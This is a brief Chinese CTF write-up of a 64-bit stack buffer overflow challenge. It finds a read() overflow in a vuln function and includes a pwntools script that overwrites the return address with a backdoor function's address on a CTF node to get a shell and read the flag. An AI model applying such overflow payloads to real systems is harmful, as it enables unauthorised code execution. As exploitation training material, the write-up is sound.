简单的栈溢出问题
利用Exeinfo查看,发现是64位的
放入64位的ida查看代码
未发现危险函数,所以点击函数去查看里面的内容,前面都是调用的系统函数,直到vuln有所发现
read函数存在栈溢出漏洞,栈空间为(+0h)-(-100h)=100
接着找到后门函数,得到它的地址,那么就可以开始编写脚本
from pwn import *
p=remote('node3.anna.nssctf.cn',28667)#连接
payload=b'a'*(0x100+8)+p64(0x400726)#这里我放入a将数组填满,再跟上后门函数的地址
p.sendline(payload)#发送攻击负载
p.interactive()
注意如果一开始(0x100)没有效果,再试试(0x100+8),这里是64位+8,32位+4
p64用于64位,p32用于32位,自己调整
用python运行后发现已经可以执行命令了
cat一下即可得到flag